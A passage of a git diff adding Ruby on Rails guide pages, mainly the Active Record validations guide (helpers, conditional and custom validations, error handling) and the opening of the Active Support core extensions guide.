+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+```
+
+Creating and saving a new record will send an SQL `INSERT` operation to the
+database. Updating an existing record will send an SQL `UPDATE` operation
+instead. Validations are typically run before these commands are sent to the
+database. If any validations fail, the object will be marked as invalid and
+Active Record will not perform the `INSERT` or `UPDATE` operation. This avoids
+storing an invalid object in the database. You can choose to have specific
+validations run when an object is created, saved, or updated.
+
+CAUTION: There are many ways to change the state of an object in the database.
+Some methods will trigger validations, but some will not. This means that it's
+possible to save an object in the database in an invalid state if you aren't
+careful.
+
+The following methods trigger validations, and will save the object to the
+database only if the object is valid:
+
+* `create`
+* `create!`
+* `save`
+* `save!`
+* `update`
+* `update!`
+
+The bang versions (e.g. `save!`) raise an exception if the record is invalid.
+The non-bang versions don't: `save` and `update` return `false`,
+`create` and `update` just return the objects.
+
+### Skipping Validations
+
+The following methods skip validations, and will save the object to the
+database regardless of its validity. They should be used with caution.
+
+* `decrement!`
+* `decrement_counter`
+* `increment!`
+* `increment_counter`
+* `toggle!`
+* `touch`
+* `update_all`
+* `update_attribute`
+* `update_column`
+* `update_columns`
+* `update_counters`
+
+Note that `save` also has the ability to skip validations if passed `validate:
+false` as argument. This technique should be used with caution.
+
+* `save(validate: false)`
+
+### `valid?` and `invalid?`
+
+To verify whether or not an object is valid, Rails uses the `valid?` method.
+You can also use this method on your own. `valid?` triggers your validations
+and returns true if no errors were found in the object, and false otherwise.
+As you saw above:
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+```
+
+After Active Record has performed validations, any errors found can be accessed
+through the `errors` instance method, which returns a collection of errors. By
+definition, an object is valid if this collection is empty after running
+validations.
+
+Note that an object instantiated with `new` will not report errors even if it's
+technically invalid, because validations are not run when using `new`.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+>> p = Person.new
+#=> #<Person id: nil, name: nil>
+>> p.errors
+#=> {}
+
+>> p.valid?
+#=> false
+>> p.errors
+#=> {name:["can't be blank"]}
+
+>> p = Person.create
+#=> #<Person id: nil, name: nil>
+>> p.errors
+#=> {name:["can't be blank"]}
+
+>> p.save
+#=> false
+
+>> p.save!
+#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+`invalid?` is simply the inverse of `valid?`. It triggers your validations,
+returning true if any errors were found in the object, and false otherwise.
+
+### `errors[]`
+
+To verify whether or not a particular attribute of an object is valid, you can
+use `errors[:attribute]`. It returns an array of all the errors for
+`:attribute`. If there are no errors on the specified attribute, an empty array
+is returned.
+
+This method is only useful _after_ validations have been run, because it only
+inspects the errors collection and does not trigger validations itself. It's
+different from the `ActiveRecord::Base#invalid?` method explained above because
+it doesn't verify the validity of the object as a whole. It only checks to see
+whether there are errors found on an individual attribute of the object.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+>> Person.new.errors[:name].any? # => false
+>> Person.create.errors[:name].any? # => true
+```
+
+We'll cover validation errors in greater depth in the [Working with Validation
+Errors](#working-with-validation-errors) section. For now, let's turn to the
+built-in validation helpers that Rails provides by default.
+
+Validation Helpers
+------------------
+
+Active Record offers many pre-defined validation helpers that you can use
+directly inside your class definitions. These helpers provide common validation
+rules. Every time a validation fails, an error message is added to the object's
+`errors` collection, and this message is associated with the attribute being
+validated.
+
+Each helper accepts an arbitrary number of attribute names, so with a single
+line of code you can add the same kind of validation to several attributes.
+
+All of them accept the `:on` and `:message` options, which define when the
+validation should be run and what message should be added to the `errors`
+collection if it fails, respectively. The `:on` option takes one of the values
+`:save` (the default), `:create` or `:update`. There is a default error
+message for each one of the validation helpers. These messages are used when
+the `:message` option isn't specified. Let's take a look at each one of the
+available helpers.
+
+### `acceptance`
+
+This method validates that a checkbox on the user interface was checked when a
+form was submitted. This is typically used when the user needs to agree to your
+application's terms of service, confirm reading some text, or any similar
+concept. This validation is very specific to web applications and this
+'acceptance' does not need to be recorded anywhere in your database (if you
+don't have a field for it, the helper will just create a virtual attribute).
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :terms_of_service, acceptance: true
+end
+```
+
+The default error message for this helper is _"must be accepted"_.
+
+It can receive an `:accept` option, which determines the value that will be
+considered acceptance. It defaults to "1" and can be easily changed.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :terms_of_service, acceptance: { accept: 'yes' }
+end
+```
+
+### `validates_associated`
+
+You should use this helper when your model has associations with other models
+and they also need to be validated. When you try to save your object, `valid?`
+will be called upon each one of the associated objects.
+
+```ruby
+class Library < ActiveRecord::Base
+ has_many :books
+ validates_associated :books
+end
+```
+
+This validation will work with all of the association types.
+
+CAUTION: Don't use `validates_associated` on both ends of your associations.
+They would call each other in an infinite loop.
+
+The default error message for `validates_associated` is _"is invalid"_. Note
+that each associated object will contain its own `errors` collection; errors do
+not bubble up to the calling model.
+
+### `confirmation`
+
+You should use this helper when you have two text fields that should receive
+exactly the same content. For example, you may want to confirm an email address
+or a password. This validation creates a virtual attribute whose name is the
+name of the field that has to be confirmed with "_confirmation" appended.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :email, confirmation: true
+end
+```
+
+In your view template you could use something like
+
+```erb
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+```
+
+This check is performed only if `email_confirmation` is not `nil`. To require
+confirmation, make sure to add a presence check for the confirmation attribute
+(we'll take a look at `presence` later on this guide):
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :email, confirmation: true
+ validates :email_confirmation, presence: true
+end
+```
+
+The default error message for this helper is _"doesn't match confirmation"_.
+
+### `exclusion`
+
+This helper validates that the attributes' values are not included in a given
+set. In fact, this set can be any enumerable object.
+
+```ruby
+class Account < ActiveRecord::Base
+ validates :subdomain, exclusion: { in: %w(www us ca jp),
+ message: "Subdomain %{value} is reserved." }
+end
+```
+
+The `exclusion` helper has an option `:in` that receives the set of values that
+will not be accepted for the validated attributes. The `:in` option has an
+alias called `:within` that you can use for the same purpose, if you'd like to.
+This example uses the `:message` option to show how you can include the
+attribute's value.
+
+The default error message is _"is reserved"_.
+
+### `format`
+
+This helper validates the attributes' values by testing whether they match a
+given regular expression, which is specified using the `:with` option.
+
+```ruby
+class Product < ActiveRecord::Base
+ validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
+ message: "Only letters allowed" }
+end
+```
+
+The default error message is _"is invalid"_.
+
+### `inclusion`
+
+This helper validates that the attributes' values are included in a given set.
+In fact, this set can be any enumerable object.
+
+```ruby
+class Coffee < ActiveRecord::Base
+ validates :size, inclusion: { in: %w(small medium large),
+ message: "%{value} is not a valid size" }
+end
+```
+
+The `inclusion` helper has an option `:in` that receives the set of values that
+will be accepted. The `:in` option has an alias called `:within` that you can
+use for the same purpose, if you'd like to. The previous example uses the
+`:message` option to show how you can include the attribute's value.
+
+The default error message for this helper is _"is not included in the list"_.
+
+### `length`
+
+This helper validates the length of the attributes' values. It provides a
+variety of options, so you can specify length constraints in different ways:
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, length: { minimum: 2 }
+ validates :bio, length: { maximum: 500 }
+ validates :password, length: { in: 6..20 }
+ validates :registration_number, length: { is: 6 }
+end
+```
+
+The possible length constraint options are:
+
+* `:minimum` - The attribute cannot have less than the specified length.
+* `:maximum` - The attribute cannot have more than the specified length.
+* `:in` (or `:within`) - The attribute length must be included in a given
+ interval. The value for this option must be a range.
+* `:is` - The attribute length must be equal to the given value.
+
+The default error messages depend on the type of length validation being
+performed. You can personalize these messages using the `:wrong_length`,
+`:too_long`, and `:too_short` options and `%{count}` as a placeholder for the
+number corresponding to the length constraint being used. You can still use the
+`:message` option to specify an error message.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :bio, length: { maximum: 1000,
+ too_long: "%{count} characters is the maximum allowed" }
+end
+```
+
+This helper counts characters by default, but you can split the value in a
+different way using the `:tokenizer` option:
+
+```ruby
+class Essay < ActiveRecord::Base
+ validates :content, length: {
+ minimum: 300,
+ maximum: 400,
+ tokenizer: lambda { |str| str.scan(/\w+/) },
+ too_short: "must have at least %{count} words",
+ too_long: "must have at most %{count} words"
+ }
+end
+```
+
+Note that the default error messages are plural (e.g., "is too short (minimum
+is %{count} characters)"). For this reason, when `:minimum` is 1 you should
+provide a personalized message or use `validates_presence_of` instead. When
+`:in` or `:within` have a lower limit of 1, you should either provide a
+personalized message or call `presence` prior to `length`.
+
+The `size` helper is an alias for `length`.
+
+### `numericality`
+
+This helper validates that your attributes have only numeric values. By
+default, it will match an optional sign followed by an integral or floating
+point number. To specify that only integral numbers are allowed set
+`:only_integer` to true.
+
+If you set `:only_integer` to `true`, then it will use the
+
+```ruby
+/\A[+-]?\d+\Z/
+```
+
+regular expression to validate the attribute's value. Otherwise, it will try to
+convert the value to a number using `Float`.
+
+WARNING. Note that the regular expression above allows a trailing newline
+character.
+
+```ruby
+class Player < ActiveRecord::Base
+ validates :points, numericality: true
+ validates :games_played, numericality: { only_integer: true }
+end
+```
+
+Besides `:only_integer`, this helper also accepts the following options to add
+constraints to acceptable values:
+
+* `:greater_than` - Specifies the value must be greater than the supplied
+ value. The default error message for this option is _"must be greater than
+ %{count}"_.
+* `:greater_than_or_equal_to` - Specifies the value must be greater than or
+ equal to the supplied value. The default error message for this option is
+ _"must be greater than or equal to %{count}"_.
+* `:equal_to` - Specifies the value must be equal to the supplied value. The
+ default error message for this option is _"must be equal to %{count}"_.
+* `:less_than` - Specifies the value must be less than the supplied value. The
+ default error message for this option is _"must be less than %{count}"_.
+* `:less_than_or_equal_to` - Specifies the value must be less than or equal the
+ supplied value. The default error message for this option is _"must be less
+ than or equal to %{count}"_.
+* `:odd` - Specifies the value must be an odd number if set to true. The
+ default error message for this option is _"must be odd"_.
+* `:even` - Specifies the value must be an even number if set to true. The
+ default error message for this option is _"must be even"_.
+
+The default error message is _"is not a number"_.
+
+### `presence`
+
+This helper validates that the specified attributes are not empty. It uses the
+`blank?` method to check if the value is either `nil` or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, :login, :email, presence: true
+end
+```
+
+If you want to be sure that an association is present, you'll need to test
+whether the associated object itself is present, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+ validates :order, presence: true
+end
+```
+
+In order to validate associated records whose presence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ActiveRecord::Base
+ has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the presence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `blank?` nor
+`marked_for_destruction?`.
+
+Since `false.blank?` is true, if you want to validate the presence of a boolean
+field you should use `validates :field_name, inclusion: { in: [true, false] }`.
+
+The default error message is _"can't be empty"_.
+
+### `absence`
+
+This helper validates that the specified attributes are absent. It uses the
+`present?` method to check if the value is not either nil or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, :login, :email, absence: true
+end
+```
+
+If you want to be sure that an association is absent, you'll need to test
+whether the associated object itself is absent, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+ validates :order, absence: true
+end
+```
+
+In order to validate associated records whose absence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ActiveRecord::Base
+ has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the absence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `present?` nor
+`marked_for_destruction?`.
+
+Since `false.present?` is false, if you want to validate the absence of a boolean
+field you should use `validates :field_name, exclusion: { in: [true, false] }`.
+
+The default error message is _"must be blank"_.
+
+### `uniqueness`
+
+This helper validates that the attribute's value is unique right before the
+object gets saved. It does not create a uniqueness constraint in the database,
+so it may happen that two different database connections create two records
+with the same value for a column that you intend to be unique. To avoid that,
+you must create a unique index in your database.
+
+```ruby
+class Account < ActiveRecord::Base
+ validates :email, uniqueness: true
+end
+```
+
+The validation happens by performing an SQL query into the model's table,
+searching for an existing record with the same value in that attribute.
+
+There is a `:scope` option that you can use to specify other attributes that
+are used to limit the uniqueness check:
+
+```ruby
+class Holiday < ActiveRecord::Base
+ validates :name, uniqueness: { scope: :year,
+ message: "should happen once per year" }
+end
+```
+
+There is also a `:case_sensitive` option that you can use to define whether the
+uniqueness constraint will be case sensitive or not. This option defaults to
+true.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, uniqueness: { case_sensitive: false }
+end
+```
+
+WARNING. Note that some databases are configured to perform case-insensitive
+searches anyway.
+
+The default error message is _"has already been taken"_.
+
+### `validates_with`
+
+This helper passes the record to a separate class for validation.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator
+end
+
+class GoodnessValidator < ActiveModel::Validator
+ def validate(record)
+ if record.first_name == "Evil"
+ record.errors[:base] << "This person is evil"
+ end
+ end
+end
+```
+
+NOTE: Errors added to `record.errors[:base]` relate to the state of the record
+as a whole, and not to a specific attribute.
+
+The `validates_with` helper takes a class, or a list of classes to use for
+validation. There is no default error message for `validates_with`. You must
+manually add errors to the record's errors collection in the validator class.
+
+To implement the validate method, you must have a `record` parameter defined,
+which is the record to be validated.
+
+Like all other validations, `validates_with` takes the `:if`, `:unless` and
+`:on` options. If you pass any other options, it will send those options to the
+validator class as `options`:
+
+```ruby
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
+
+class GoodnessValidator < ActiveModel::Validator
+ def validate(record)
+ if options[:fields].any?{|field| record.send(field) == "Evil" }
+ record.errors[:base] << "This person is evil"
+ end
+ end
+end
+```
+
+Note that the validator will be initialized *only once* for the whole application
+life cycle, and not on each validation run, so be careful about using instance
+variables inside it.
+
+If your validator is complex enough that you want instance variables, you can
+easily use a plain old Ruby object instead:
+
+```ruby
+class Person < ActiveRecord::Base
+ validate do |person|
+ GoodnessValidator.new(person).validate
+ end
+end
+
+class GoodnessValidator
+ def initialize(person)
+ @person = person
+ end
+
+ def validate
+ if some_complex_condition_involving_ivars_and_private_methods?
+ @person.errors[:base] << "This person is evil"
+ end
+ end
+
+ # …
+end
+```
+
+### `validates_each`
+
+This helper validates attributes against a block. It doesn't have a predefined
+validation function. You should create one using a block, and every attribute
+passed to `validates_each` will be tested against it. In the following example,
+we don't want names and surnames to begin with lower case.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates_each :name, :surname do |record, attr, value|
+ record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+ end
+end
+```
+
+The block receives the record, the attribute's name and the attribute's value.
+You can do anything you like to check for valid data within the block. If your
+validation fails, you should add an error message to the model, therefore
+making it invalid.
+
+Common Validation Options
+-------------------------
+
+These are common validation options:
+
+### `:allow_nil`
+
+The `:allow_nil` option skips the validation when the value being validated is
+`nil`.
+
+```ruby
+class Coffee < ActiveRecord::Base
+ validates :size, inclusion: { in: %w(small medium large),
+ message: "%{value} is not a valid size" }, allow_nil: true
+end
+```
+
+### `:allow_blank`
+
+The `:allow_blank` option is similar to the `:allow_nil` option. This option
+will let validation pass if the attribute's value is `blank?`, like `nil` or an
+empty string for example.
+
+```ruby
+class Topic < ActiveRecord::Base
+ validates :title, length: { is: 5 }, allow_blank: true
+end
+
+Topic.create("title" => "").valid? # => true
+Topic.create("title" => nil).valid? # => true
+```
+
+### `:message`
+
+As you've already seen, the `:message` option lets you specify the message that
+will be added to the `errors` collection when validation fails. When this
+option is not used, Active Record will use the respective default error message
+for each validation helper.
+
+### `:on`
+
+The `:on` option lets you specify when the validation should happen. The
+default behavior for all the built-in validation helpers is to be run on save
+(both when you're creating a new record and when you're updating it). If you
+want to change it, you can use `on: :create` to run the validation only when a
+new record is created or `on: :update` to run the validation only when a record
+is updated.
+
+```ruby
+class Person < ActiveRecord::Base
+ # it will be possible to update email with a duplicated value
+ validates :email, uniqueness: true, on: :create
+
+ # it will be possible to create the record with a non-numerical age
+ validates :age, numericality: true, on: :update
+
+ # the default (validates on both create and update)
+ validates :name, presence: true, on: :save
+end
+```
+
+Strict Validations
+------------------
+
+You can also specify validations to be strict and raise
+`ActiveModel::StrictValidationFailed` when the object is invalid.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: { strict: true }
+end
+
+Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank
+```
+
+There is also an ability to pass custom exception to `:strict` option
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+end
+
+Person.new.valid? # => TokenGenerationException: Token can't be blank
+```
+
+Conditional Validation
+----------------------
+
+Sometimes it will make sense to validate an object only when a given predicate
+is satisfied. You can do that by using the `:if` and `:unless` options, which
+can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if`
+option when you want to specify when the validation **should** happen. If you
+want to specify when the validation **should not** happen, then you may use the
+`:unless` option.
+
+### Using a Symbol with `:if` and `:unless`
+
+You can associate the `:if` and `:unless` options with a symbol corresponding
+to the name of a method that will get called right before validation happens.
+This is the most commonly used option.
+
+```ruby
+class Order < ActiveRecord::Base
+ validates :card_number, presence: true, if: :paid_with_card?
+
+ def paid_with_card?
+ payment_type == "card"
+ end
+end
+```
+
+### Using a String with `:if` and `:unless`
+
+You can also use a string that will be evaluated using `eval` and needs to
+contain valid Ruby code. You should use this option only when the string
+represents a really short condition.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :surname, presence: true, if: "name.nil?"
+end
+```
+
+### Using a Proc with `:if` and `:unless`
+
+Finally, it's possible to associate `:if` and `:unless` with a `Proc` object
+which will be called. Using a `Proc` object gives you the ability to write an
+inline condition instead of a separate method. This option is best suited for
+one-liners.
+
+```ruby
+class Account < ActiveRecord::Base
+ validates :password, confirmation: true,
+ unless: Proc.new { |a| a.password.blank? }
+end
+```
+
+### Grouping Conditional validations
+
+Sometimes it is useful to have multiple validations use one condition, it can
+be easily achieved using `with_options`.
+
+```ruby
+class User < ActiveRecord::Base
+ with_options if: :is_admin? do |admin|
+ admin.validates :password, length: { minimum: 10 }
+ admin.validates :email, presence: true
+ end
+end
+```
+
+All validations inside of `with_options` block will have automatically passed
+the condition `if: :is_admin?`
+
+### Combining Validation Conditions
+
+On the other hand, when multiple conditions define whether or not a validation
+should happen, an `Array` can be used. Moreover, you can apply both `:if` and
+`:unless` to the same validation.
+
+```ruby
+class Computer < ActiveRecord::Base
+ validates :mouse, presence: true,
+ if: ["market.retail?", :desktop?]
+ unless: Proc.new { |c| c.trackpad.present? }
+end
+```
+
+The validation only runs when all the `:if` conditions and none of the
+`:unless` conditions are evaluated to `true`.
+
+Performing Custom Validations
+-----------------------------
+
+When the built-in validation helpers are not enough for your needs, you can
+write your own validators or validation methods as you prefer.
+
+### Custom Validators
+
+Custom validators are classes that extend `ActiveModel::Validator`. These
+classes must implement a `validate` method which takes a record as an argument
+and performs the validation on it. The custom validator is called using the
+`validates_with` method.
+
+```ruby
+class MyValidator < ActiveModel::Validator
+ def validate(record)
+ unless record.name.starts_with? 'X'
+ record.errors[:name] << 'Need a name starting with X please!'
+ end
+ end
+end
+
+class Person
+ include ActiveModel::Validations
+ validates_with MyValidator
+end
+```
+
+The easiest way to add custom validators for validating individual attributes
+is with the convenient `ActiveModel::EachValidator`. In this case, the custom
+validator class must implement a `validate_each` method which takes three
+arguments: record, attribute and value which correspond to the instance, the
+attribute to be validated and the value of the attribute in the passed
+instance.
+
+```ruby
+class EmailValidator < ActiveModel::EachValidator
+ def validate_each(record, attribute, value)
+ unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+ record.errors[attribute] << (options[:message] || "is not an email")
+ end
+ end
+end
+
+class Person < ActiveRecord::Base
+ validates :email, presence: true, email: true
+end
+```
+
+As shown in the example, you can also combine standard validations with your
+own custom validators.
+
+### Custom Methods
+
+You can also create methods that verify the state of your models and add
+messages to the `errors` collection when they are invalid. You must then
+register these methods by using the `validate` class method, passing in the
+symbols for the validation methods' names.
+
+You can pass more than one symbol for each class method and the respective
+validations will be run in the same order as they were registered.
+
+```ruby
+class Invoice < ActiveRecord::Base
+ validate :expiration_date_cannot_be_in_the_past,
+ :discount_cannot_be_greater_than_total_value
+
+ def expiration_date_cannot_be_in_the_past
+ if expiration_date.present? && expiration_date < Date.today
+ errors.add(:expiration_date, "can't be in the past")
+ end
+ end
+
+ def discount_cannot_be_greater_than_total_value
+ if discount > total_value
+ errors.add(:discount, "can't be greater than total value")
+ end
+ end
+end
+```
+
+By default such validations will run every time you call `valid?`. It is also
+possible to control when to run these custom validations by giving an `:on`
+option to the `validate` method, with either: `:create` or `:update`.
+
+```ruby
+class Invoice < ActiveRecord::Base
+ validate :active_customer, on: :create
+
+ def active_customer
+ errors.add(:customer_id, "is not active") unless customer.active?
+ end
+end
+```
+
+Working with Validation Errors
+------------------------------
+
+In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects.
+
+The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods.
+
+### `errors`
+
+Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors
+ # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors # => []
+```
+
+### `errors[]`
+
+`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(name: "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.add`
+
+The `add` method lets you manually add messages that are related to particular attributes. You can use the `errors.full_messages` or `errors.to_a` methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). `add` receives the name of the attribute you want to add the message to, and the message itself.
+
+```ruby
+class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+ end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+Another way to do this is using `[]=` setter
+
+```ruby
+ class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors[:name] = "cannot contain the characters !@#%*()_-+="
+ end
+ end
+
+ person = Person.create(name: "!@#")
+
+ person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+ person.errors.to_a
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+### `errors[:base]`
+
+You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.
+
+```ruby
+class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors[:base] << "This person is invalid because ..."
+ end
+end
+```
+
+### `errors.clear`
+
+The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+p.save # => false
+
+p.errors[:name]
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.size`
+
+The `size` method returns the total number of error messages for the object.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(name: "Andrea", email: "andrea at example.com")
+person.valid? # => true
+person.errors.size # => 0
+```
+
+Displaying Validation Errors in Views
+-------------------------------------
+
+Once you've created a model and added validations, if that model is created via
+a web form, you probably want to display an error message when one of the
+validations fail.
+
+Because every application handles this kind of thing differently, Rails does
+not include any view helpers to help you generate these messages directly.
+However, due to the rich number of methods Rails gives you to interact with
+validations in general, it's fairly easy to build your own. In addition, when
+generating a scaffold, Rails will put some ERB into the `_form.html.erb` that
+it generates that displays the full list of errors on that model.
+
+Assuming we have a model that's been saved in an instance variable named
+`@post`, it looks like this:
+
+```ruby
+<% if @post.errors.any? %>
+ <div id="error_explanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+<% end %>
+```
+
+Furthermore, if you use the Rails form helpers to generate your forms, when
+a validation error occurs on a field, it will generate an extra `<div>` around
+the entry.
+
+```
+<div class="field_with_errors">
+ <input id="post_title" name="post[title]" size="30" type="text" value="">
+</div>
+```
+
+You can then style this div however you'd like. The default scaffold that
+Rails generates, for example, adds this CSS rule:
+
+```
+.field_with_errors {
+ padding: 2px;
+ background-color: red;
+ display: table;
+}
+```
+
+This means that any field with an error ends up with a 2 pixel red border.
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
new file mode 100644
index 0000000..101a4f5
--- /dev/null
+++ b/guides/source/active_support_core_extensions.md
@@ -0,0 +1,3811 @@
+Active Support Core Extensions
+==============================
+
+Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
+
+It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.
+
+After reading this guide, you will know:
+
+* What Core Extensions are.
+* How to load all extensions.
+* How to cherry-pick just the extensions you want.
+* What extensions ActiveSupport provides.
+
+--------------------------------------------------------------------------------
+
+How to Load Core Extensions
+---------------------------
+
+### Stand-Alone Active Support
+
+In order to have a near-zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you can load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
+
+Thus, after a simple require like:
+
+```ruby
+require 'active_support'
+```
+
+objects do not even respond to `blank?`. Let's see how to load its definition.
+
+#### Cherry-picking a Definition
+
+The most lightweight way to get `blank?` is to cherry-pick the file that defines it.
+
+For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads:
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+That means that this single call is enough:
+
+```ruby
+require 'active_support/core_ext/object/blank'
+```
+
+Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
+
+#### Loading Grouped Core Extensions
+
+The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.
+
+Thus, to load all extensions to `Object` (including `blank?`):
+
+```ruby
+require 'active_support/core_ext/object'
+```
+
+#### Loading All Core Extensions
+
+You may prefer just to load all core extensions, there is a file for that:
+
+```ruby
+require 'active_support/core_ext'
+```
+
+#### Loading All Active Support
+
+And finally, if you want to have all Active Support available just issue:
+
+```ruby
+require 'active_support/all'
+```
+
+That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used.
+
+### Active Support Within a Ruby on Rails Application
+
+A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
+
+Extensions to All Objects
+-------------------------
+
+### `blank?` and `present?`
+
+The following values are considered to be blank in a Rails application:
+
+* `nil` and `false`,
+
+* strings composed only of whitespace (see note below),
+
+* empty arrays and hashes, and
+
+* any other object that responds to `empty?` and is empty.
+
+INFO: The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace.
+
+WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.
+
+For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present:
+
+```ruby
+def ensure_session_key!
+ if @key.blank?
+ raise ArgumentError, 'A key is required...'
+ end
+end
+```
+
+The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:
+
+```ruby
+def set_conditional_cache_control!
+ return if self["Cache-Control"].present?
+ ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+### `presence`
+
+The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:
+
+```ruby
+host = config[:host].presence || 'localhost'
+```
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+### `duplicable?`
+
+A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
+
+```ruby
+1.object_id # => 3
+Math.cos(0).to_i.object_id # => 3
+```
+
+Hence, there's no way these objects can be duplicated through `dup` or `clone`:
+
+```ruby
+true.dup # => TypeError: can't dup TrueClass
+```
+
+Some numbers which are not singletons are not duplicable either:
+
+```ruby
